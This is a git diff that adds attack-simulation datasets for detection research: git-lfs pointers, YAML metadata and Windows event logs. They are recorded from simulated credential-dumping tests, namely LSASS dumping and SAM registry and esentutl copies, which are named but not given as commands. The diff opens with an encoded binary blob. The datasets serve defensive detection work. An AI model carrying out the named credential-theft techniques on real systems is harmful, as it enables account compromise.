zn!o7$Y*^Q!_%MTm+K#!f_p1ep?AE~*JcoAd5zh|T%XUr~4tunG|5f2=%pb9dTX0Op zu|LSSL~PfB!=;hAc`L{hkIekjEf(^!a&_^J3T}x%rYzF0ME_{)wiN98cER+Px?;C> z)P_Rkmk1u_J5h4q`bEMRb5Uor@lGpapUof)=3N5Z{_*h{E2r^DTA}UU-SpRz9Bcd< zJ<&2f5@P#nk7tmgZre|g@+cOw0a2hg2V zNY?B3unc_JXtw9yN(RFu)(=WuN+QgWCo;)mn+Ja$K^{2yG`CMUx2|}0?u0DdYh-ky zh+X*Pr?h|8DhgJp-W0f`ya~nPm%XxTJWnEkP*W=;!3+#fuwhQ;j+Nw#!n7mxOyF4I zHjp=B53&-_c@{$GL|u5%U~@Y6O}cB+2p4X*+JM^~XW~{nu2n!RsD2+ZBN-N44M9Z3 zqmbt&ohKozzs8{`;5jC&?gl0-j~+vhQ0^i(QDsG*2e5BdlIrR{Z%B6H@3x^`1qLZ0R*M4tuEaNV%+6;g-&$BlKLP6&9? zgnKG#8}Q`a^Rd&s;}XxvYD-bYMTI_|KXw9CwU2eOx@Hk9egU z4wJ&4tEWJv_66=uA#alKI`|yux7vRbCyiL0f8gkheGMKz-~E*Ss*Uk zr`%=g*mo~(!Xf`@a+@dRC))iYSPY#h+_b+tUH-9LEYI1RrI$>uJFW5B@=(yFC@$}w z&5+;yn}K&P%aza58dqR)r_I}=cUYHUP`~9^HT_n}wOAlbcouD%b~1g_@9t5#;C3~V z0^i7TpC+)a$7}Hz=lpA*S%^5X9Mh4d9W2r7(1d$K`U188G~vR4yONHb%tCf1hPU6uY#$8Ni&M(K)Up>ZYuz%h&SO2KLF)o|^(jRl(X9>ncXCT!f4=UDnMV1KkGk_&fbdr>$|Z!2>ELh-i1*xW#2#9f{MN+uXCC z9U$rJGW>6y_13r!C}Y3BV%rgI(<&xHVIF+c2t6OF!OhdgqCNi3ERR5wGmCZ~3QHH> zaf)}Cp1_zBSqLI=WsLTZ>4c+=Q?5&xQ=A#okU3Vro43X~=j&UEr+(mj zy}fev=;15dCoX}0mqgz)x92!;aP^AEr_L&_GpR_Vh-^K=`=7Im5a@+)27xxpn6dS! z7E>$SdTCwkxy10h61oYRQC$!C$6}(V@M3;pzOrQLqALOe1X7g~9oFX<{e+K(77T^` zz=B$S5W&wn1hyuaHdVSfg zO`57VoU;>;Iyi@)JZbJj=j(slT;bHK8?dZO_n9wT6l|k4paWiPqesPzigZNm-n1=y z{is-@!qa^FA=)xr*?1uNJsN$?R&0N=C`mPHhc!t~<^!sFf)nr=aHOCy*FPPWp!Df&Y6BBmJa{BYvd z%$Qjh{|wnr{dP;P$)0Cn&gghibYN9*^OKvbx`MJtQ(aEg+sk0$Ph&K*4R z<@%AiB&5>zlUeEBhswS{#|#XoPG~R;JCMS*bx(tj5Fhw{FAf_8)PO?P4jlfJH>Mn`pB5)Sk-Elvw}C+gO@24j$}v0 zb|U>}nwd^9XP1Yb!&DGC;kJYT-R*QszeoHW(?4F0%+phG^V5btMd%(plO?OFP`ULE zd!gm3u`D=JV)7>Om6CGo8mmXh%Vz`SQWc8K+q>7wXC{Se&SJx3Wo&>!7P9_onV)0z z6^p2OwZ}K9C84fg`7W>XqQs9KJLihhIL^9F=SC_+F5bUO9*q9u&#)3Y=VfFRg!B*w z&in$LI?6doulB8|MjaX8cxqeM5)$sp?zr~#S8~dDu-~lPp9$fz%6PzdSc-U&A@OPG z?b;s!z(I65+yCnAyyKd>z5tGU*~&5Rf4fhFc!VBZ-8(_>v&Ft92_{ zN8Q{0v|3c$+q!Uz;;4#RH;MzX)Ls3Zo8$&=8+f7j(f1FL_QU<=+;h)8_ndRj%WygN zr_ZTg8JGBBZKHQ9ZoD*V%a+l<3XD0s|F&<)s7zbq*9T=UWOqQ+j1 z*%z^%?X>5}wxl4Z8UyFY`Q83G=vn7aZi$)36DJ2hO)0*vzvt6Tx44^W7l#jMy|nnk z;S1M}%?WBXW8N>S&tE4gvVNSrGACz6_|3Zu-pq;Gy}bR=XUoG&ENu1kY#XD0w9dd)8l;|3?)+Fmz9`hD!F%^S@rA+)Zd~KkJuIhuS{!II+vW zT4vAv9qwHoHHTX^@6O2CE8`C)H#+upD7X4`kZ19vIiAP$Wml&}e$`}icCES*Pwx+3 zAkEw`ZpynCABQyfx)r)VU*^13{n)$7tugAXC0lYfZ@TmQ z+TnxhrXK9l`1tNCPoCDx_+P_CgWhD{8alG;Z&zX6bMI$o92$0LMDnSsL3Q`9yILir z>*ro_-l^+^#WL=!@tDuD-!7lp_U5PIvp=kT(e*do! zQ)V2h*RnyvtXg}spX@)9GUME+Zl$MGbW9pne_#4!Y3k(Z(!=G)OH)5QxH$XVN8i%Z zDppIX(KM~2!SQ59&l9Ve*;z4rhCk^vuKvxsZL|8;X*yt~?~dyo>VGJ8{_v`-N`}{? zD&%N=8(w(WIj8@!X76v$i5t?a-38t^yY({nv74Hf89I2=N2jg&@>yPMtE9FvBs@-j zU**-y@h9K98_wK(lrZkVc1?VTug|@8ulT0U^LE#F-_4Fc+U=lYN`>;VL!OR(G40XG z?putp=>IJ>?o+#GM_n6aeW-opL+#W1>ZCszlRAGulcmv$Gsf-hG?iLh8#8j$`jvxE zmwqzPtyPVzYwFZM?HeOAwBpqj2d_;srvEYH^Bc{zN$uS=n(N7~&;3{5-16JLt=f-c zpnJsmeOpsD&l+52K&>~UR^Qx-e!u_oio=7K8kt#v^_DvBaD9HZ)#fjs_^qF}FYX@o z{KoZm9Q^IW4L5chl~m!`u8gdY>D&9)y4G(;@{=Xcj(+aZKebk$!wn{&|GEhrj_$8^ zE4RD;lKkXt)YW74yI;*5@4w`5kA}6nwf1YV*TdzQ$JpXG&!?V9({ai#JBBC{*`)(- zZ)lW#R1-b$Z2C&LHB+p3b%*K@*e&Z2xujv({u`qbKEuDlApZO<{3IW{g1@n>fl)99 z#&wvU)8_sAA@KK0t2TGJQ^CPuOE(A8y`0>?9|RYU?fUyVo|ChB{ZNfsZ*Z0C2lw2+51+=tZwo(!t*_BMd``_!5 z^}(2C#U0$5v~chzMlI{)Y@b|(zP3)z=(NPwMS5AG`|C5OVM0-wqcbt^ORvWE4Gcom z5AxLMG-^3xP;**Swj=KsMC0tpPH%Crqjo&7qPy zSB#0Xe5D?F26Av{7F?L2{Imv^*Rlp@?|7Yt<5}M3Xxko@n7_sH#k`5pK86)$G=Db1 zIgrsZN;Ve0nX`=LTNM)%surNags^vVV=b{Y~n7wd` zRHKHGUEDksv1;3s7?#|(lM_nN!N7eHfc2?4NQ8m==vdyQL5xQ5dk?Sl^4C2DY40*fXJ@YWYlkRN9Q!mk`>MVgC-#QW+re^z;&z&MVELp+BKvL7#>Y!*}H= zhu3H%NVg<@TD^gRe^|6Af5V@5#|a}?2J5L=dUFX{VR7U|=tCgr43r2uoiDhH1zEjW zixO{bMT5dzkY4E+BlX~Zb|^#MZ_g0lenlKL0CL=-)Ec!R!CR|TYuUn0hLXTJI6@R0 ztzKEfO_J&$LF6=&!kU)RX=_dE-Fj6!$N$yVO z;ug$vN}h?8NTJsN>}KZam3Zp)aCl_22Alp>a5wena|jJ6$K)cyrzNBQOUh85Ge&7x zy^7<&1GkClp*Ys|tOa!#fm&=#(W3fk(aD436Krx_`?7XznoX|Iu|>-j%4*=`V91AS z%ni4FcxuT7yLnvEaLEj;PA>^ze$YTy8@aAtHmi5Cl=S^_!@3koKR z0Lq$NG(g_*tlXGyfJ3T&RSzq3KZ2+7RBE0;PQhvG-`?vmQjFvpw|~fQ1g$q)36*!h4q>)CV|kFTjuuT`It3Ny^Vy^$>duq%;f*DM`@H0T(wZqca$JHjvY*!JV?H8r^()8nHCUW7m#F zqA&;Bl+cZEaR-QLmv+QS@e`>_Y#)m`iy{KI1(30FlN7@WYlm*g$!I7IKf6h3W-+; z(|DBHR`UX)fW=3er>^g4X^ha$mG?xs@-Q8grJ$^0ZVV(p&ks%G*vB`zbhTu($(?NW zdrBxc#v=bh$wRDJSUU6j-p=S?0UmGhEG9@nt`OpArkOS$yFw&KMin{^FV6r8WMtyhf{ACu;dSIq7*=G`cWz#dk^{;U ztp->oXCUutI|6_(?rK&%!#x7XIFb4*(J`cO!c*a;Wm8LJ^Ea=?T0(}=wpORcVM8IX ziYzhDX@VIos}VLg{VJz+#9ll(OP^{`^027%%g1P!3sLrW2Wy;@bPYXfiGh*pGf2Eq zL7a|<4O8N!W|Ue;n!{Nzk7DPqOYSpLspG$U zw~Jip&7H)ck+JX&21`h%pcOWyYn|eqZAvA+f%qIk=I@r&wF;&o0|#xIh(eQ~l?%_! z$od0+#><>M1>S8&NuiSKtebZJs;W|R$vA~e*19;gpa+O^w*x_TZF0-Y7X2i5=BSpG z2yWi?W=rfEgDFGr!YwK1q)l;vBb5= zO|gfoSRgWpm?(@I){X;Y&jsWD!V^SVvgIAb!$DbLM3eubc{`=?RJ>{*;TCmqG- z5VB-HygHwN9XY*~1bz6nv)D9wc0&6-yxW@(kHEfzf&iS^MHE2O#vH^NMsR$LU`!G@ zd+%0xO~VU}Jfz&{N=wAEa#S$$uOeT0V@hOr($#~OOCOUvdBQ8dx^L5%i)gOEX;2e$ z=G$FN5-;%4rJP1%5}Ghp`g4~QcZ&}}s?y3HVq&2>8jWCn8L3j85bilXzW5V@itwf+ zl0j8*{zmAba&lL^s>p)f>Agf4Sjg(MGaOitZ6N759QUCc-kY&hs0tzMbX-;fBSaFS zFX2ax5Xc%-oC0dP7`;@*=!8|XGCyx4wkc$uBe1uaG@%+hf@b|o4)n*$K^l^U{-VLi z)B+h7v_9^2cU_FdLWaz41&BrxYOqHr6Mh=*;A1f!|BA39wC zV}y)Y{&g2f7N?&1Ex=2d40F8dM+u^Z;D!bj)CF@;@|_UDMp?Gxf&{bYUgxx$_s^Ny8-M967UeB)u5521S>p8dLfvH)&Jg z`sufPf^=IM^Bj?fl9*^(9;3z}3FS0!Gf!)f__Frc{dIM-?qdTNgVvPwS*E4LVIhEO zx}5c|oXNQrm%hV`TxW$sA6|2mV2~KFBB2i~Z;Ag%OgB|?j|TahAeXSZ@2(*jFhOMc zw9oMWicZME=zHMQ8f=|NCwMO}0;3ADl`<6r?NgtkPzi1TY_)rk$gGAwM$(=ac znLJ53bkiFnkv{O#(UeFDaGh5YF7Yu!*__0Dc^8fc`74QEX0WlU#laz+&u_=lq4+7J z2HqYwywRpIt+6yn^R;UVC4#@VuztQ)K1j#C=kKgV7N!XX`|Ijqxo21vvQ#2ti^BfiY1S0uNR5K!HqzN`cOF9$1)m; zkhj_;z5PCH?#Z~A#}ZL^WGZ#6Jy*GrpO*gMcOPv0$(?xGQgL7)_Rj_??WoOs)Xe7; zMj;*7OUpz-iSUAQB%#^SUC#)|+Ctja>MO*d@b!j7qc_iU{6G84ped16HeA1CSvRCH z3t1^5fsi1aI}KA^wYhwktfIuwawD|Py-a5ty)zVv<=gHEiDP}eA5P&3A(u4s5L=Xsu9Ic5es-a%M9nSr3FSBqy1cD~ZUKBD&f$ZnC|lyG8gAu6AJiMgWkdIZED;v_!vqn- z#~;C>Bb}Dxn<(+vSjceZrW29y^bk6OlZO`@WmMYSm*zZpFb+$LtSNR(qQp_l3_Q!k z+AkW%A4_E7q@9tNx$w=DEF3hSU?p(lkWoazRrfq?DkQ-SuZPnbn#_Wi9@eY{u# zar>5{LzKnpLpUQ8z7=$ae0uifI_wRTd&ZrulxR9$p|B&V^tlZ8T_;Nlg$&a-+(t>D z4~UB9?AN6C>*h7Vn&eMRQ`#;{lKfkfA^j*;r{Og0R*|RZQhP)gSZKR!vGUYKxn%~( zC{NG5bi)TpWp?;21Kwv%Wo>FejYE{1{`y6N|*oD)Vv6w|d~s zkhEDF&r_mk7`tK!p?e1|4=N2N0?vozipjV@Nno(&?n;-J9nWJ2w>M#_e!42g_z}KR zoBRH$T@&lswiNfTQH~oL5GbsKqdP?0U@USciw1Y5(~aLJI$8r)nb0*EJ4!OD{VDHa z+h8Z&r{vJGs2P!8Xxr#D=-ldC`$5-+rC37O35!z3Fp z3+b6we?-S(>8T?#z}-`8%0vjKW6-Ax*fS+#oRN=dao{GbIggd=E!$ire>$)yFavq) zTa`h{z(PMLQ|Q;)QAbE1+g?_#^WIYSOXfYFJ`oE>2EAW79+m%DGReYf)49PzYq1Dv z!_}`Tu}mc*!UR80Ui2LABBTvp{|7Ar1l42^1BS#w{@EL!D?#h(qttJest#n#=zflP z;|r-rM%e}c$!Sjj}tQ-bWR7lc$$XH)C76Cvgk zPu?eClM_rZKRisy3~dk$Jwsq8%75POl=N+kPYI;vHasH2=++gKKS9^E+i&l7M4D5~ z!9aZffk$Zx3hcdzLe}W|v1c@#D#LWprcv?FKHum-Gxp15CEg#&O<~<7NfDKBJ}RWk&(Z;>E8dtu1Fia=#w^oOXPrK8|nqt*{IdBUcu~I{~>x*3YJ8 zh=oR=kPtL?N@Vph2F_G*pf#7o6qw$BJ=F6AzSYJN%Ut`q$gza5W~ebRjk1)GA}v2A~l1TS|8J1^5&fU=suQIZ>VP_>u3@@g z{N1XH1R4n87o{nD4vXI3RBVOX3)@`r9#IueW4VzrnCUf&0tfZ*$`_`0hi#l~n9DUq zf`J>e@HQ)mn6!rM@xjRf_Uo@iJF0$ioA`Z&7W-&O(?a-S^`9#TBJ^55LpZo zydJ__JO>>bO&+jas+BW&>+4WU{y=e$&$%wgoFqW3efEpmeDGttWwlhLVEai7rY=Z3o>EN~)FCu`D92yR}B!B0=LFF)gk%z@o3RRSXXFX-%S1{Tlwv@J5Ji(r zJ=&q~w80c*w_`Iax4vHmEF^NSWRt|Y2vX6scqH$ zJ_@Y1qst0_aS$~*fnC&c$s?W3AeyTs*=|sC3*PsV)29q2TH>^mZy}ch0EN+7oX> zqz^OqLecREsdBQ3IdB7;ARzEDyG_QVuI zqR0+^=z*;*nY>JLXigP|mc?2{A%nLKp}>btG3?#=Ln0TY`DW2={!ski6+JR zj3_5I1-y?0Ud?Q|)oOEjX4Q?~bO{lFYLL<4qva`SOm$qWj?<&J<_I)VM}mpYe6bu0 zhD>2NRumbffEPU>l7N+$Jn^a}y~D6dv?Qjk`_NgF(d$i@0)>{%+#hN@f^&muf=HH? zj^ePOHv#B4UZ8jY$>rL;H*K(7NISB^T^yEBh<_DuVH81p_2B(-3_%|D?sX6a!W?lz z-G_uTJR2)iT!M9$EPQF*Nfa2F4qk8s!8psSy$h&BM6&sD(VrKvp(p*r_|8RvBc!~M zeKu6Zb4AwIpY0+hPwtdiUJz}opcx5h(~q9R@F|BZW2oCrOd!*=S#v1@v*us&eHomg zBfaPtkD`MTn!D4xs{e7VjoI*!F|GsM>8S*6AcVnOF$WtJuk{H5RQ=lp#uCFR0TT4F z_M}d>wT+Ts^(EVp%#3Y8=RKR=>lKzP%Kfz`r`k!&a2E#jfAT4#Gf(Yqp-g6eIr|ZU1f=Gk? z;M%?rz@EUkMcAg0&StP*(N)L6mL2WFzkaOesaNYGS&WVOioi)})PQ}S8_0t<{sKdsN6 z@Ba%jA<3P3tP8=CBe&FNlSJkN|I`jWJFclV02@hC{X0!5LLebI4cs|50jodhnI%pY z8w*vD!&{LGT8-`{Cr078Ch2(Gm{w#sLNdCpp0ON5k&Z|686rc4cm?C5u@KeJB};bw zgjOA_K%I5r>8Eu*#4$b=QbMWA+}QC#jD--PK;X3Mr093pV323w@kwF;$h3?O;&Qk-udsGh zis-f&I|1Yte04J=P;ij&@Czbm);^6k6*!xa3C_w}sfV{ZszRPnR*ho2OS_pVNKYsz znT{et9xK>%7AdA*pYfL@hRo-YHho31^TchEAEA+u*yKa zlUWlUzA*&VK#rFV9@{e!Uq?b3dkek<*vMs4{36|G$=V8e&`!ytc zxE#lOMgvOj^Z6@r7P)$+zWTpg>CtSzS>rpBi^|=(@0OrqP5Be*kQd=dfusLnc zgC14-Q?o2CY2Uq)D$SqaHN_YGop{KUbT%xe*ouS@QFtJ~e=z zlgCIRWZ(LF2iUPiq#Um2iBU)c-J=053N)aBN?!wK)(T;b|`h3d$Gn*Uzqj^`y3>8kZ9 z)rFEF*vnk}WI5>Ba{wOLw%!m-L&kA}x{5#pEpAYa8dx=`$-;#;LW?MGEIZOF9rR&& zH+rVPP{@|pNfQF|)!Mny6}cq<>qXG)_b3#N%sXCgvY*bmB{eoJsq6Da@wl$GH!_Wc8`l+X5O}+~ zP4Q*8Z*s&Vw9ozX@G0e|LX8k8^VF$r4pFMg^PDU7;4i{HLk{uae}x*t?`N0 ao#l&_LaWE2Yq74y6q_6z>fCGz|N1}4@Av!w literal 0 HcmV?d00001 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_windows-security.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_windows-security.log new file mode 100644 index 000000000..355accf57 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:86be8a91228678b0639f5cc192722b40acb81f06eb998bbc34916cf08f436abd +size 14595 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-powershell.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-powershell.log new file mode 100644 index 000000000..dc76a7201 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:93ce15580ad5bb985371dd3a8eb8741c0b0231d36f464265fc5d0645d2636b45 +size 8568252 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-security.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-security.log new file mode 100644 index 000000000..9d0e99376 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:962debff1935335a6c6396a19d778127af1316b964226ba4427fae4fb9c9361b +size 8480 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon.log new file mode 100644 index 000000000..2c2504549 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a1905850598f1e943708c3329190e29c6cb046389c1575cb2afd6369b5f269f1 +size 14235927 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon_creddump.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon_creddump.log new file mode 100644 index 000000000..9209f24e6 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon_creddump.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a37b69dce32eaff6b5c1fdb4bb9cbea6dec78a4fbd22cd41362ab0e377f075ef +size 65428 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-system.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-system.log new file mode 100644 index 000000000..34a91dd82 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-system.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4ac7ed133d6a44788d841735605aa70644897749201d5a9b7afdc93f2d9518e7 +size 392544 diff --git a/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.log new file mode 100644 index 000000000..763120bfa --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c22994ec5fa481609dfbb3403dc51d803cb1f0665d3aab29da8f5e8a9766f4af +size 58587 diff --git a/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.yml new file mode 100644 index 000000000..7a72e8a08 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/snapattack/snapattack.yml @@ -0,0 +1,14 @@ +author: Raven Tait, Splunk +id: 23bcd20e-abc1-43fa-bd6f-117cb360633e +date: '2026-04-01' +description: Generated datasets for Windows Evidence of LSASS Shtinkering - AppCrash + Reports in attack range. +environment: attack_range +directory: snapattack +mitre_technique: +- T1003.001 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + path: /datasets/attack_techniques/T1003.001/snapattack/snaattack.log diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/atomic_red_team.yml b/scripts/attack_technique_tests/T1003.002/atomic_red_team/atomic_red_team.yml new file mode 100644 index 000000000..5b52451ba --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/atomic_red_team.yml @@ -0,0 +1,19 @@ +author: Patrick Bareiss +id: cc9b25e7-efc9-11eb-926b-550bf0943fbb +date: '2020-10-08' +description: 'Atomic Test Results: Successful Execution of test T1003.002-1 Registry + dump of SAM, creds, and secrets Return value unclear for test T1003.002-2 Registry + parse with pypykatz Successful Execution of test T1003.002-3 esentutl.exe SAM copy ' +environment: attack_range +directory: atomic_red_team +mitre_technique: +- T1003.002 +datasets: +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1003.002/atomic_red_team/crowdstrike_falcon.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.002/atomic_red_team/windows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/attack-range-windows-domain-controller.json b/scripts/attack_technique_tests/T1003.002/atomic_red_team/attack-range-windows-domain-controller.json new file mode 100644 index 000000000..2757b874d --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/attack-range-windows-domain-controller.json @@ -0,0 +1,8899 @@ +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.016\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010DC460000}\r\nTargetProcessId: 716\r\nTargetImage: C:\\Windows\\system32\\wininit.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.016","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010DC460000}","TargetProcessId":"716","TargetImage":"C:\\Windows\\system32\\wininit.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76787,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The Netlogon service entered the running state.","param1":"Netlogon","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221458,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58208\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58208","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221459,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount 